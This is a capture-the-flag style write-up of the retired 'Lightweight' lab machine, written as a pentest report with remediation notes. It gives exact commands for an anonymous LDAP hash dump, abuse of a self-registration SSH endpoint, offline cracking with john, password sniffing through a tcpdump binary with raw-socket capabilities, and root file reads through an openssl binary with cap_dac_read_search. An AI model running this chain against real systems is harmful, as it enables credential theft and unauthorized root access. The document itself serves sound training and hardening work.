Lightweight
Summary
I scanned the target ($TARGET) and found three open services: SSH on 22, HTTP on 80, and LDAP on 389. An anonymous bind against the LDAP server — requiring no credentials — returned the full user directory including SHA-512-crypted password hashes stored in plain-sight userPassword attributes. A web page at /user.php automatically provisioned a working SSH account using the visitor's IP address as both username and password; a single HTTP request plus a 60-second wait produced an interactive shell with no brute force needed.
From that foothold, the dumped LDAP hashes were cracked offline, yielding ldapuser2's password, which was used to switch accounts and retrieve an encrypted archive (unlocked with the trivial password '[REDACTED: recovered credential]'). The tcpdump binary held Linux raw-socket capabilities, letting the low-privilege foothold user capture loopback traffic — where periodic LDAP simple-bind requests carried ldapuser1's password in cleartext. Logging in as ldapuser1 revealed that openssl held a cap_dac_read_search capability that bypasses all filesystem read-permission checks, allowing /root/root.txt to be read directly.
Full system compromise was achieved without a single brute-force attempt or CVE exploit.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV -p22,80,389 --script ldap-rootdse,http-enum $TARGETExact commands 2
ldapsearch -x -H ldap://$TARGET -s base -b '' namingContextsldapsearch -LLL -x -H ldap://$TARGET -b "ou=People,dc=lightweight,dc=htb" "(objectClass=posixAccount)" dn uid userPasswordFixDisable anonymous LDAP binds and restrict access to password-hash attributesCritical
Exact commands 3
curl -sS -i http://$TARGET/user.phpsleep 65sshpass -p "$ATTACKER_IP" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no -o StrictHostKeyChecking=no $ATTACKER_IP@$TARGETFixRemove the IP-address self-registration endpoint (user.php)Critical
Exact commands 6
ldapsearch -LLL -x -H ldap://$TARGET -b "ou=People,dc=lightweight,dc=htb" "(objectClass=posixAccount)" userPassword | grep userPassword | awk '{print $2}' > hashes.txtjohn --format=crypt hashes.txtldapwhoami -x -H ldap://$TARGET -D "uid=ldapuser2,ou=People,dc=lightweight,dc=htb" -w "$PASSWORD"su - ldapuser2cat /home/ldapuser2/user.txt7z x -p$PASSWORD2 /home/ldapuser2/backup.7z -o/tmp/backup/Exact commands 2
getcap -r / 2>/dev/nullls -la /usr/sbin/tcpdump && idFixRemove cap_net_raw and cap_net_admin from the tcpdump binary and enforce LDAPSHigh
Exact commands 2
/usr/sbin/tcpdump -i lo -A -s 0 'port 389' -w /tmp/ldap_cap.pcapstrings /tmp/ldap_cap.pcap | grep -A5 'lightweight\|ldapuser'Exact commands 3
ssh -o PreferredAuthentications=password -o StrictHostKeyChecking=no ldapuser1@$TARGETgetcap -r / 2>/dev/nullopenssl enc -in /root/root.txtFixRemove cap_dac_read_search from the openssl binaryCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.4 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) |
| 389/tcp | ldap OpenLDAP 2.2.X - 2.3.X |